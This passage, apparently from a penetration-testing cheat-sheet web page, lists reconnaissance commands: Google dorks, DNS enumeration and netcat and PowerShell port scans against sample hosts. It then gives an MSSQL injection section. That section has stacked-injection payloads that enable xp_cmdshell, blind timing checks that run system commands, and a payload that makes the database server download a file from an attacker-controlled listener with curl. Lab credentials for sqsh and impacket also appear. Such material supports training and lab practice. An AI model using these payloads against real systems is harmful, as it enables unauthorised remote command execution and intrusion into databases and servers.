class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Filter files with a .txt suffix&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;site:megacorpone.com filetype:txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Exclude files with an .htlm suffix&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;site:megacorpone.com -filetype:html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# The above is only a small sample; the command below can find much more information&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://www.exploit-db.com/google-hacking-database&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://dorksearch.com/&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;site:megacorpone.com intext:VP Of Legal&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;host&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;host www.megacorpone.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;host -t mx megacorpone.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;host -t txt megacorpone.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;host www.megacorpone.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;host idontexist.megacorpone.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat list.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;www&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ftp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mail&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;owa&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;proxy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;router&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; ip in &lt;span class="k"&gt;$(&lt;/span&gt;cat list.txt&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; host &lt;span class="nv"&gt;$ip&lt;/span&gt;.megacorpone.com&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; ip in &lt;span class="k"&gt;$(&lt;/span&gt;seq &lt;span class="m"&gt;200&lt;/span&gt; 254&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; host 51.222.169.&lt;span class="nv"&gt;$ip&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -v &lt;span class="s2"&gt;&amp;#34;not found&amp;#34;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;DNS brute forcing&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use -d to specify the domain and -t to specify the enumeration &lt;span class="nb"&gt;type&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;a standard scan here&lt;span class="o"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dnsrecon -d megacorpone.com -t std&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Brute-force attempt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-d specifies the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-D specifies the file containing candidate subdomain strings&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-t specifies the enumeration &lt;span class="nb"&gt;type&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;brt means brute force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dnsrecon -d megacorpone.com -D ~/list.txt -t brt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dnsenum megacorpone.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nslookup mail.megacorptwo.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nslookup -type&lt;span class="o"&gt;=&lt;/span&gt;TXT info.megacorptwo.com 192.168.50.151&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;netcat&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-w specifies the connection timeout in seconds&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-z specifies zero-I/O mode, used &lt;span class="k"&gt;for&lt;/span&gt; scanning without sending data&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-u performs a UDP scan&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-nv enables verbose mode&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-nvv enables more verbose mode&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -nvv -w &lt;span class="m"&gt;1&lt;/span&gt; -z 192.168.50.152 3388-3390&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -nv -u -z -w &lt;span class="m"&gt;1&lt;/span&gt; 192.168.50.149 120-123&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Port scanning&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1..1024 &lt;span class="p"&gt;|&lt;/span&gt; % &lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt;New-Object Net.Sockets.TcpClient&lt;span class="o"&gt;)&lt;/span&gt;.Connect&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;192.168.50.151&amp;#34;&lt;/span&gt;, &lt;span class="nv"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;TCP port &lt;/span&gt;&lt;span class="nv"&gt;$_&lt;/span&gt;&lt;span class="s2"&gt; is open&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt; 2&amp;gt;&lt;span class="nv"&gt;$null&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="63mssql-injection"&gt;&lt;a href="#63mssql-injection" class="header-anchor"&gt;&lt;/a&gt;63.MSSQL Injection&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://y4er.com/posts/mssql-injection-learn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://y4er.com/posts/mssql-getshell/&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sqsh -S 192.168.131.248:49965 -U dnnuser -P DotNetNukeDatabasePassword!&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Restore xp_cmdshell&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;EXEC sp_configure &amp;#39;show advanced options&amp;#39;,1;//Allow advanced settings to be changed&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RECONFIGURE;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;EXEC sp_configure &amp;#39;xp_cmdshell&amp;#39;,1; //Enable the xp_cmdshell extension&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RECONFIGURE;--&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Test whether xp_cmdshell is enabled via blind injection&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#39;; IF OBJECT_ID(&amp;#39;xp_cmdshell&amp;#39;) IS NOT NULL WAITFOR DELAY &amp;#39;0:0:5&amp;#39;; --&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#39;; exec master..xp_cmdshell &amp;#39;whoami&amp;#39;; WAITFOR DELAY &amp;#39;0:0:5&amp;#39;; --&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#39;; IF (SELECT value_in_use FROM sys.configurations WHERE name = &amp;#39;xp_cmdshell&amp;#39;) = 1 WAITFOR DELAY &amp;#39;0:0:5&amp;#39;; --&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#39;; IF EXISTS (SELECT 1 FROM sys.configurations WHERE name = &amp;#39;xp_cmdshell&amp;#39; AND value_in_use = 1) WAITFOR DELAY &amp;#39;0:0:5&amp;#39;; --&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Test whether a file exists; delay five seconds if it does&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#39;; EXEC xp_cmdshell &amp;#39;dir c:\inetpub\wwwroot\login.cs&amp;#39;; IF @@ERROR = 0 WAITFOR DELAY &amp;#39;0:0:5&amp;#39;; --&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This also tests whether a file exists and is easier to use&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#39;; DECLARE @result int; EXEC @result = xp_cmdshell &amp;#39;dir c:\inetpub\wwwroot\login.cs&amp;#39;; IF @result = 0 WAITFOR DELAY &amp;#39;0:0:5&amp;#39;; --&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#39;; EXEC xp_cmdshell &amp;#39;dir c:\inetpub\wwwroot\login.cs &amp;amp;&amp;amp; ping -n 6 127.0.0.1&amp;#39;; --&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Execute a shell&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#39;; exec master..xp_cmdshell &amp;#39; curl http://192.168.45.161:33333/2.txt -o C:\ProgramData\2.txt &amp;#39;; --&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Note: Once xp_cmdshell is confirmed, writing a file is not required; it provides CMD execution.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;It can run many commands, such as downloading and executing a file with curl. Writing a file may be the worse choice.&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;MSSQL statements&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sqsh -S 192.168.131.248:49965 -U dnnuser -P DotNetNukeDatabasePassword!&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python /usr/share/doc/python3-impacket/examples/mssqlclient.py Administrator:Lab123@192.168.164.18 -windows-auth&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-- List all databases&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SELECT name FROM master.sys.databases&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GO&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-- Switch databases&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;USE databasename&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GO&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-- List all tables in the current database&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SELECT name FROM sysobjects WHERE xtype = &amp;#39;U&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GO&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-- View the contents of a table&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SELECT * FROM tablename&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GO&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Connecting to MSSQL with PowerShell&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$sql = &amp;#34;Server=10.10.132.142;Database=master;Integrated Security=True;&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$conn = New-Object System.Data.SqlClient.SqlConnection($sql)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$conn.Open()&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Reference: &lt;a class="link" href="https://blog.csdn.net/kk185800961/article/details/52513640" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/kk185800961/article/details/52513640&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The one-liner below is enough to run SQL statements. If it does not work, check the reference above.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cmd.CommandText = &amp;#34;SELECT name FROM master.dbo.sysdatabases&amp;#34;; $reader = $cmd.ExecuteReader(); 